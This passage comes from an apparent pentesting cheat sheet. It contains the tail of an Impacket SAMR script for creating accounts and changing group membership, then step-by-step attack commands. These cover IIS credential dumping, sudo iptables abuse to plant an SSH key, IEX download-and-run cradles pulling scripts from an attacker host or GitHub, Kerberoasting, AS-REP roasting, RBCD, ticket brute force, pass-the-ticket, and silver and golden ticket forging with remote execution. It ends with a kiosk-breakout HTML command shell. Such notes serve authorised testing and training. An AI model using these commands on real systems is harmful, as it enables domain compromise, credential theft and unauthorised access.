                yield item
        except samr.DCERPCSessionError as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
        finally:
            self._close_domain()
    
    def Query(self, group_name):
        domain_handle = self._open_domain(True)
        try:
            alias_handle = self._get_alias_handle(domain_handle, group_name)
            response = samr.hSamrGetMembersInAlias(self._dce, alias_handle)
            response = self._resolve_sid(list(map(lambda s: s['Data']['SidPointer'].formatCanonical(), response['Members']['Sids'])))
            return list(map(lambda x: x['Name'], response))
        finally:
            self._close_domain()

    def Join(self, group_name, username):
        domain_handle = self._open_domain(True)
        try:
            alias_handle = self._get_alias_handle(domain_handle, group_name)
            user_sid = self._get_user_sid(username)
            samr.hSamrAddMemberToAlias(self._dce, alias_handle, user_sid)
        finally:
            self._close_domain()

    def UnJoin(self, group_name, username):
        domain_handle = self._open_domain(True)
        try:
            alias_handle = self._get_alias_handle(domain_handle, group_name)
            user_sid = self._get_user_sid(username)
            samr.hSamrRemoveMemberFromAlias(self._dce, alias_handle, user_sid)
        finally:
            self._close_domain()


class Net:
    def __init__(self, domain, username, password, options):
        self.__domain = domain
        self.__username = username
        self.__password = password
        self.__options = options
        self.__action = options.entry.lower()
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__doKerberos = options.k
        self.__kdcHost = options.dc_ip
        self.__smbConnection = None

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self, remoteName, remoteHost):
        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))

        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def disconnect(self):
        self.__smbConnection.close()
        self.__smbConnection = None

    def run(self, remoteName, remoteHost):
        self.connect(remoteName, remoteHost)

        actionClass = self.__get_action_class(self.__action)
        actionObject = actionClass(self.__smbConnection)

        if self.__is_option_present(self.__options, 'create'):
            print("[*] Creating {} account '{}'".format(self.__action, self.__options.create))
            actionObject.Create(self.__options.create, self.__options.newPasswd)
            print("[+] {} account created succesfully: {}:{}".format(self.__action, self.__options.create, self.__options.newPasswd))

        elif self.__is_option_present(self.__options, 'remove'):
            print("[*] Deleting {} account '{}'".format(self.__action, self.__options.remove))
            actionObject.Remove(self.__options.remove)
            print("[+] {} account deleted succesfully!".format(self.__action))

        elif self.__is_option_present(self.__options, 'enable'):
            print("[*] Enabling {} account '{}'".format(self.__action, self.__options.enable))
            actionObject.SetUserAccountControl(self.__options.enable, "enable")
            print("[+] {} account enabled succesfully!".format(self.__action))

        elif self.__is_option_present(self.__options, 'disable'):
            print("[*] Disabling {} account '{}'".format(self.__action, self.__options.disable))
            actionObject.SetUserAccountControl(self.__options.disable, "disable")
            print("[+] {} account disabled succesfully!".format(self.__action))

        elif self.__is_option_present(self.__options, 'join'):
            print("[*] Adding user account '{}' to group '{}'".format(self.__options.join,self.__options.name))
            actionObject.Join(self.__options.name, self.__options.join)
            print("[+] User account added to {} succesfully!".format(self.__options.name))

        elif self.__is_option_present(self.__options, 'unjoin'):
            print("[*] Removing user account '{}' from group '{}'".format(self.__options.unjoin,self.__options.name))
            actionObject.UnJoin(self.__options.name, self.__options.unjoin)
            print("[+] User account removed from {} succesfully!".format(self.__options.name))

        elif self.__is_option_present(self.__options, 'name'):
            info = actionObject.Query(self.__options.name)
            if type(info) == list:
                i = 1
                for member in info:
                    print("  {0}. {1}".format(i, member))
                    i += 1
            else:
                print("User name".ljust(30), info['UserName'])
                print("Full name".ljust(30), info['FullName'])
                print("Comment".ljust(30), info['AdminComment'])
                print("User's comment".ljust(30), info['UserComment'])
                print("Country/region code".ljust(30), "000 (System Default)" if info['CountryCode'] == 0 else info['CountryCode'])
                print("Account active".ljust(30), self.__b2s(info['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED != samr.USER_ACCOUNT_DISABLED))
                print("Account expires".ljust(30), self.__get_time_string(info['AccountExpires']))
                print('')
                print("Password last set".ljust(30), self.__get_time_string(info['PasswordLastSet']))
                print("Password expires".ljust(30), self.__get_time_string(info['PasswordMustChange']))
                print("Password changeable".ljust(30), self.__get_time_string(info['PasswordCanChange']))
                print("Password required".ljust(30), self.__b2s(info['WhichFields'] & samr.USER_PASSWORD_NOT_REQUIRED == samr.USER_PASSWORD_NOT_REQUIRED))
                print("User may change password".ljust(30), self.__b2s(info['WhichFields'] & samr.UF_PASSWD_CANT_CHANGE == samr.UF_PASSWD_CANT_CHANGE))
                print('')
                print("Workstations allowed".ljust(30), "All" if not info['WorkStations'] else info['WorkStations'])
                print("Logon script".ljust(30), info['ScriptPath'])
                print("User profile".ljust(30), info['ProfilePath'])
                print("Home directory".ljust(30), info['HomeDirectory'])
                print("Last logon".ljust(30), self.__get_time_string(info['LastLogon']))
                print("Logon count".ljust(30), info['LogonCount'])
                print('')
                print("Logon hours allowed".ljust(30), self.__format_logon_hours(info['LogonHours']['LogonHours']))
                print('')
                print("Local Group Memberships")
                for group in info['LocalGroups']:
                    print("  * {}".format(group))
                print('')
                print("Global Group memberships")
                for group in info['GlobalGroups']:
                    print("  * {}".format(group))

        else:
            print("[*] Enumerating {}s ..".format(self.__action))
            i = 1
            for object in actionObject.Enumerate():
                messae = "  {0}. {1}".format(i, object['Name'])
                if self.__options.debug:
                    messae += " ({0})".format(object['RelativeId'])
                print(messae)
                i += 1

        self.disconnect()

    def __getUnixTime(self, t):
        t -= 116444736000000000
        t /= 10000000
        return t

    def __get_time_string(self, large_integer):
        time = (large_integer['HighPart'] << 32) + large_integer['LowPart']
        if time == 0 or time == 0x7FFFFFFFFFFFFFFF:
            time = 'Never'
        else:
            time = datetime.fromtimestamp(self.__getUnixTime(time))
            time = time.strftime("%m/%d/%Y %H:%M:%S %p")
        return time
    
    def __format_logon_hours(self, s):
        logon_hours = ''.join(map(lambda b: b.hex(), s))
        if logon_hours == ('f' * 42):
            logon_hours = "All"
        return logon_hours
    
    def __b2s(self, b):
        return "Yes" if b else "No"

    def __get_action_class(self, action):
        return getattr(sys.modules[__name__], action.capitalize())
    
    def __is_option_present(self, options, option):
        return hasattr(options, option) and getattr(options, option)



if __name__ == '__main__':
    print(version.BANNER)
    logger.init()

    parser = argparse.ArgumentParser(add_help = True, description = "SAMR rpc client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    subparsers = parser.add_subparsers(help='An account entry name', dest='entry', required=True)

    user_parser = subparsers.add_parser('user', help='Enumerate all domain/local user accounts')
    user_parser.add_argument('-name', action="store", metavar = "NAME", help='Display single user information.')
    user_parser.add_argument('-create', action="store", metavar = "NAME", help='Add new user account to domain/computer.')
    user_parser.add_argument('-remove', action="store", metavar = "NAME", help='Remove existing user account from domain/computer.')
    user_parser.add_argument('-newPasswd', action="store", metavar = "PASSWORD", help='New password to set for creating account.')
    user_parser.add_argument('-enable', action="store", metavar = "NAME", help='Enables account.')
    user_parser.add_argument('-disable', action="store", metavar = "NAME", help='Disables account.')

    computer_parser = subparsers.add_parser('computer', help='Enumerate all computers in domain level')
    computer_parser.add_argument('-name', action="store", metavar = "NAME", help='Display single computer information.')
    computer_parser.add_argument('-create', action="store", metavar = "NAME", help='Add new computer account to domain.')
    computer_parser.add_argument('-remove', action="store", metavar = "NAME", help='Remove existing computer account from domain.')
    computer_parser.add_argument('-newPasswd', action="store", metavar = "PASSWORD", help='New password to set for creating account.')

    localgroup_parser = subparsers.add_parser('localgroup', help='Enumerate local groups (aliases) of local computer')
    localgroup_parser.add_argument('-name', action="store", metavar = "NAME", help='Operate on single specific domain group account.')
    localgroup_parser.add_argument('-join', action="store", metavar = "USER", help='Add user account to specific group.')
    localgroup_parser.add_argument('-unjoin', action="store", metavar = "USER", help='Remove user account from specific group.')

    group_parser = subparsers.add_parser('group', help='Enumerate domain groups registered in domain controller')
    group_parser.add_argument('-name', action="store", metavar = "NAME", help='Operate on single specific localgroup account.')
    group_parser.add_argument('-join', action="store", metavar = "USER", help='Add user account to specific group.')
    group_parser.add_argument('-unjoin', action="store", metavar = "USER", help='Remove user account from specific group.')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if ((hasattr(options, 'join') and options.join) or hasattr(options, 'unjoin') and options.unjoin) and not options.name:
        logging.error("argument '-name' is required with join/unjoin operations.")
        sys.exit(1)

    if (hasattr(options, 'create') and options.create) and (not hasattr(options, 'create') or not options.newPasswd):
        logging.error("argument '-newPasswd' is required for creating new account.")
        sys.exit(1)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password, address = parse_target(options.target)

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password: ")

    if options.aesKey is not None:
        options.k = True

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    net = Net(domain, username, password, options)
    try:
        net.run(address, options.target_ip)
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))

```

### ThePorgs Fork

```console
$ pipenv shell
$ git clone https://github.com/ThePorgs/impacket/
$ pip3 install -r requirements.txt
$ sudo python3 setup.py install
```

## Internet Information Service (IIS)

### Application Pool Credential Dumping

```console
C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
```

## iptables

### sudo Misconfiguration Abuse

> https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/

```console
$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n<SSH_KEY>\n'
$ sudo iptables -S
$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
```

## JAWS

> https://github.com/411Hall/JAWS

```cmd
PS C:\> IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')
```

## Kerberos

### Authentication

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/kerberos-authentication

If a user wants to obtain access to resources within a Active Directory network, he must obtain a ticket through a `6-step` process.

1. User sends a request to the `Kerberos Distribution Center (KDC)` with his password hash and a timestamp. (AS-REQ)
2. If the `password hash` of the user matches that for the user on the `KDC`, the user receives a `Ticket Granting Ticket` encrypted and signed by the `krbtgt` account. (AS-REP)
3. The `TGT`, including the `krbtgt hash`, is sent to the `KDC` or `DC` in order to recieve a `Kerberos Service Ticket (TGS)`. (TGS-REQ)
4. User then receives a `TGS` encrypted with the `hash` of the service account he wishes to access. (TGS-REP)
5. User then connects to the server and attempts to use the service he sent the `initial request` for with the `TGS` included. (AP-REQ)
6. User gains access and mutual authentication is given between the server and client if necessary (AP-REP).

#### Constrained Delegation

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/constrained-delegation

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation

- `SeEnableDelegationPrivilege` needs to be granted.
- `Constrained Delegation` limits the services to which a service can access on behalf of a user.
- This service account must still be `trusted` to `delegate`.
- The user does `not authenticate` with `Kerberos` to the `constrained service`.
- Instead of authenticating to the `KDC` first, like in a regular Kerberos ticket request, the user authenticates `directly to the service`.
- Once the user authenticates to the service, the service then requests a `forwardable TGT` to the `KDC` without the user's password included.
- The `KDC` checks the `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` attribute on the service and whether or not the user's account is blocked.
- If everything checks out a ticket is returned.
- Ticket gets `passed back` to the `KDC` and a `TGS ticket` is requested to the `second service`.
- `KDC` checks the `msDS-AllowedToDelegateTo` field on the second service and if it is listed, then an `access ticket` is granted.
- `TGS` gets sent to the next service and the user now can authenticate to it.

The `Service for User (S4U)` extension is used to aid the impersonation process when `Constrained Delegation` is used. The extension has two extensions within it:

- `Service for User to Self (S4U2Self)`: This allows a service to obtain a `forwardable TGS` to itself on the user's behalf with the `User Principal Name` supplied. No password is included.
- `Service for User to Proxy (S4U2proxy)`: This allows the service to `obtain` the required `TGS` on the user's behalf to the second service the user needs to connect to. This second service will have the `msDS-AllowedToDelegateTo` attribute given to it. User tokens can be forwarded to those `SPN's` which have this attribute given.

Delegation occurs not only for the specified service, but also for ANY service running under the account that is running the service.

##### TrustedToAuthForDelegation

```cmd
PS C:\> Set-ADComputer -Identity <RHOST> -Add @{'msDS-AllowedToDelegateTo'=@('cifs/<RHOST>')}
```

or

```cmd
PS C:\> Set-ADObject -Identity "CN=<RHOST>,CN=COMPUTERS,DC=<DOMAIN>,DC=<DOMAIN>" -Add @{"msDS-AllowedToDelegateTo"="ldap/<RHOST>"}
```

```cmd
PS C:\> Set-ADAccountControl -Identity "<RHOST>$" -TrustedToAuthForDelegation $True
```

```console
$ impacket-findDelegation '<DOMAIN>'/'<RHOST>$:<PASSWORD>'
```

```console
$ impacket-getST '<DOMAIN>'/'<RHOST>$:<PASSWORD>' -spn cifs/<RHOST> -impersonate <RHOST>
```

or

```console
$ impacket-getST '<DOMAIN>'/'<RHOST>$:<PASSWORD>' -spn ldap/<RHOST> -impersonate <RHOST>
```

#### Unconstrained Delegation

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/unconstrained-delegation

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation

Kerberos Delegation allows for users to access resources on another server via a service that the user has access to. The service the user is connected to impersonates that user by resusing his credentials which then allows the user to gain access to that server.

- When `Unconstrained Delegation` is enabled, the user's `TGT` is sent along with the `TGS` to the first hop service. That `TGT` gets stored in the server's `LSASS` which allows the service to take it out and delegate with it if necessary.
- Accounts or services with `Unconstrained Delegation` can be escalated to an account with higher privileges, if a Domain Admin or a higher privileged user connecting to that machine.
- The `TGT` can be extracted and the ticket `reused`.

#### Resource-Based Constrained Delegation (RBCD)

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution

> https://blog.netwrix.com/2022/09/29/resource-based-constrained-delegation-abuse/

> https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview

- In `unconstrained` and `constrained Kerberos delegation`, a `computer/user` is told what resources it can delegate authentications to.
- In `Resource-based Kerberos Delegation`, computers (resources) specify who they `trust` and who can `delegate` authentications to them.
- By supporting constrained delegation across domains, `services` can be `configured` to use `constrained delegation` to `authenticate` to `servers` in other domains rather than using unconstrained delegation.
- This provides `authentication support` for across domain service solutions by using an existing Kerberos infrastructure `without` needing to trust `front-end services` to delegate to any service.

##### Prerequisites

- Populate the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute with a computer account that will be controlled.
- Know a `SPN` set on the object to gain access.
- Create a new `computer account` using PowerMad (allowed due to the default MachineAccountQuota value).
- Leverage Rubeus to abuse `Resource-Based Constrained Delegation`.

##### AddAllowedToAct

```cmd
PS C:\> Set-ADComputer -Identity <RHOST> -PrincipalsAllowedToDelegateToAccount <RHOST>$
```

```console
$ impacket-getST '<DOMAIN>/<RHOST>$:<PASSWORD>' -k -spn 'cifs/<RHOST>' -impersonate <USERNAME>
```

```console
$ export KRB5CCNAME=<FILE>.ccache
```

```console
$ impacket-smbexec -k -no-pass '<DOMAIN>/<USERNAME>@<RHOST>'
```

##### SPN-less User

> https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users

```console
$ impacket-rbcd -delegate-from <USERNAME> -delegate-to <RHOST>$ -dc-ip <RHOST> -action write <DOMAIN>/<USERNAME>:<PASSWORD>
```

```console
$ impacket-getTGT <DOMAIN>/<USERNAME> -hashes :$(pypykatz crypto nt '<PASSWORD>')
```

```console
$ impacket-describeTicket <USERNAME>.ccache
```

```console
$ impacket-changepasswd <DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN> -newhashes :<HASH>
```

```console
$ impacket-getST <DOMAIN>/<USERNAME> -spn cifs/<RHOST> -impersonate Administrator -u2u -k -no-pass
```

#### Kerberoasting

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/kerberoasting

> https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/post-compromise-attacks/kerberoasting

- All user accounts that have `Service Principal Names (SPN's)` set can be kerberoasted.
- Relatively silent technique because it leaves only one `4769 ID event` on the log.

#### AS-REP Roasting

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/as-rep-roasting

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

ASPREPRoast is about retrieving crackable hashes from `KRB5 AS-REP` responses for users without `kerberoast preauthentication` enabled. This isn't as useful as Kerberoasting, as accounts have to have `DONT_REQ_PREAUTH` explicitly set for them to be vulnerable and you are still reliant upon weak password complexity for the attack to work.

- `AS-REP roasting` is a technique that allows retrieving password hashes for users that have `Do not require Kerberos preauthentication` property selected.
- Those hashes can then be cracked offline.

#### Targeted Kerberoast

> https://github.com/ShutdownRepo/targetedKerberoast

##### Enumeration

```cmd
C:\> setspn.exe -T <DOMAIN> -Q */*
```

###### bloodyAD Example

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p ':381b793bde43ea263ae34bb1g9cd38f5' get writable
```

##### Set Service Principal Name (SPN)

```cmd
C:\> setspn.exe -T <DOMAIN> -S "HTTP/<RHOST>" <RHOST>
```

or

```cmd
PS C:\> Set-DomainObject -Identity "<RHOST>" -Set @{ServicePrincipalName='http/<RHOST>'}
```

###### PowerView Example

```cmd
PS C:\> Set-DomainObject -Identity <USERNAME> -SET @{serviceprincipalname='nonexistent/foobar'}
```

##### Execution

```cmd
PS C:\> .\Rubeus.exe dump /nowrap
$ base64 -d <USERNAME>.kirbi.b64 > <USERNAME>.kirbi
$ impacket-ticketConverter <USERNAME>.kirbi <USERNAME>.ccache
$ export KRB5CCNAME=`realpath <USERNAME>.ccache`
$ targetedKerberoast.py -k --no-pass -d '<DOMAIN>' --dc-ip <RHOST> --request-user '<USERNAME>'
```

#### Silver, Golden and Diamond Tickets

- Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
- Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
- Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

### Ticket Conversion

#### kribi to ccache

```console
$ base64 -d <USERNAME>.kirbi.b64 > <USERNAME>.kirbi
$ impacket-ticketConverter <USERNAME>.kirbi <USERNAME>.ccache
$ export KRB5CCNAME=`realpath <USERNAME>.ccache`
```

#### ccache to kirbi

```console
$ impacket-ticketConverter <USERNAME>.ccache <USERNAME>.kirbi
$ base64 -w0 <USERNAME>.kirbi > <USERNAME>.kirbi.base64
```

### Attacking Kerberos

> https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

#### Bruteforce

```console
$ ./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>
```

##### With List of Users

```cmd
C:\> .\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>
```

##### Check Passwords for all Users in Domain

```cmd
C:\> .\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>
```

#### ASPREPRoast

##### Check ASPREPRoast for all Domain Users (Credentials required)

```console
$ impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE>
$ impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE>
```

##### Check ASPREPRoast for a List of Users (No Credentials required)

```console
$ impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
$ impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>
```

##### Check ASPREPRoast for all Domain Users in Domain

```cmd
C:\> .\Rubeus.exe asreproast  /format:hashcat /outfile:<FILE>
```

##### Kerberoasting

```cmd
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
C:\> .\Rubeus.exe kerberoast /outfile:<FILE>
PS C:\> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
PS C:\> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
PS C:\> Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
```

#### Overpass The Hash/Pass The Key (PTK)

##### Request TGT with Hash

```console
$ impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>
```

##### Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)

```console
$ impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>
```

##### Request TGT with Password

```console
$ impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
```

##### Set TGT for Impacket Usage

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

##### Execute Remote Commands

```console
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

##### Ask and inject the Ticket

```cmd
C:\> .\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt
```

##### Execute a CMD on Remote Host

```cmd
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

#### Pass The Ticket (PTT)

##### Harvest Tickets from Linux

###### Check Type and Location of Tickets

```console
$ grep default_ccache_name /etc/krb5.conf
```

* If none return, default is FILE:/tmp/krb5cc_%{uid}
* In Case of File Tickets it is possible to Copy-Paste them to use them
* In Case of being KEYRING Tickets, the Tool tickey can be used to get them
* To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
* To inject, the Ticket have to be copied in a reachable Folder by all Users

```console
$ cp tickey /tmp/tickey
$ /tmp/tickey -i
```

##### Harvest Tickets from Windows

```console
mimikatz # sekurlsa::tickets /export
$ .\Rubeus dump
```

##### Convert Tickets dumped with Rubeus into base64

```console
[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))
```

##### Convert Tickets between Linux and Windows Format with ticket_converter.py

> https://github.com/Zer1t0/ticket_converter

```console
$ python ticket_converter.py ticket.kirbi ticket.ccache
$ python ticket_converter.py ticket.ccache ticket.kirbi
```

##### Using Ticket on Linux

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

##### Execute Remote Commands by using TGT

```console
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

##### Using Ticket on Windows

###### Inject Ticket with mimikatz

```console
mimikatz # kerberos::ptt <KIRBI_FILE>
```

###### Inject Ticket with Rubeus

```cmd
C:\> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

###### Execute a CMD on Remote Host

```cmd
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

#### Silver Ticket

##### Impacket Examples

###### Generate TGS with NTLM

```console
$ python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>
```

###### Generate TGS with aesKey

```console
$ python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>
```

###### Set the ticket for impacket use

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

###### Execute Remote Commands by using TGT

```console
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

##### mimikatz Examples

###### Generate TGS with NTLM

```console
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>
```

###### Generate TGS with AES 128bit Key

```console
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>
```

###### Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

```console
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>
```

###### Inject TGS with Mimikatz

```console
mimikatz # kerberos::ptt <KIRBI_FILE>
```

##3## Rubeus Examples

```cmd
C:\> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

###### Execute CMD on Remote Host

```cmd
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

#### Golden Ticket

##### Impacket Examples

###### Generate TGT with NTLM

```console
$ python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>
```

###### Generate TGT with aesKey

```console
$ python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>
```

###### Set TGT for Impacket Usage

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

###### Execute Remote Commands by using TGT

```console
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

##### mimikatz Examples

###### Generate TGT with NTLM

```console
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>
```

###### Generate TGT with AES 128bit Key

```console
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>
```

###### Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

```console
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>
```

###### Inject TGT with Mimikatz

```console
mimikatz # kerberos::ptt <KIRBI_FILE>
```

##### Rubeus Examples

###### Inject Ticket with Rubeus

```cmd
C:\> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

###### Execute CMD on Remote Host

```cmd
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

###### Get NTLM from Password

```console
$ python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())'
```

### Authentification Configuration

#### Preparation

```console
$ sudo apt-get install krb5-kdc
```

#### SSH

```console
# Kerberos options
#KerberosAuthentication no
KerberosAuthentication yes
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
GSSAPIAuthentication yes
#GSSAPICleanupCredentials yes
GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
```

#### krb5.conf

```console
[libdefaults]
        default_realm = <DOMAIN>
        dns_lookup_realm = false
        dns_lookup_kdc = true
<--- CUT FOR BREVITY --->
[realms]
        <DOMAIN> = {
                kdc = <RHOST>
                admin_server = <RHOST>
        }
<--- CUT FOR BREVITY --->
[domain_realm]
        .<DOMAIN> = <DOMAIN>
        <DOMAIN> = <DOMAIN>
```

## Kiosk Breakout

### Using Microsoft Edge

> https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/

```console
<script>
    function shlExec() {
        var cmd = document.getElementById('cmd').value
        var shell = new ActiveXObject("WScript.Shell");
        try {
            var execOut = shell.Exec("cmd.exe /C \"" + cmd + "\"");
        } catch (e) {
            console.log(e);
        }
 
        var cmdStdOut = execOut.StdOut;
        var out = cmdStdOut.ReadAll();
        alert(out);
    }
</script>
 
<form onsubmit="shlExec()">
    Command: <input id="cmd" name="cmd" type="text">
    <input type="submit">
</form> 
```

Copy a `cmd.exe` binary to the download directory of the default user `KioskUser0`.

```console
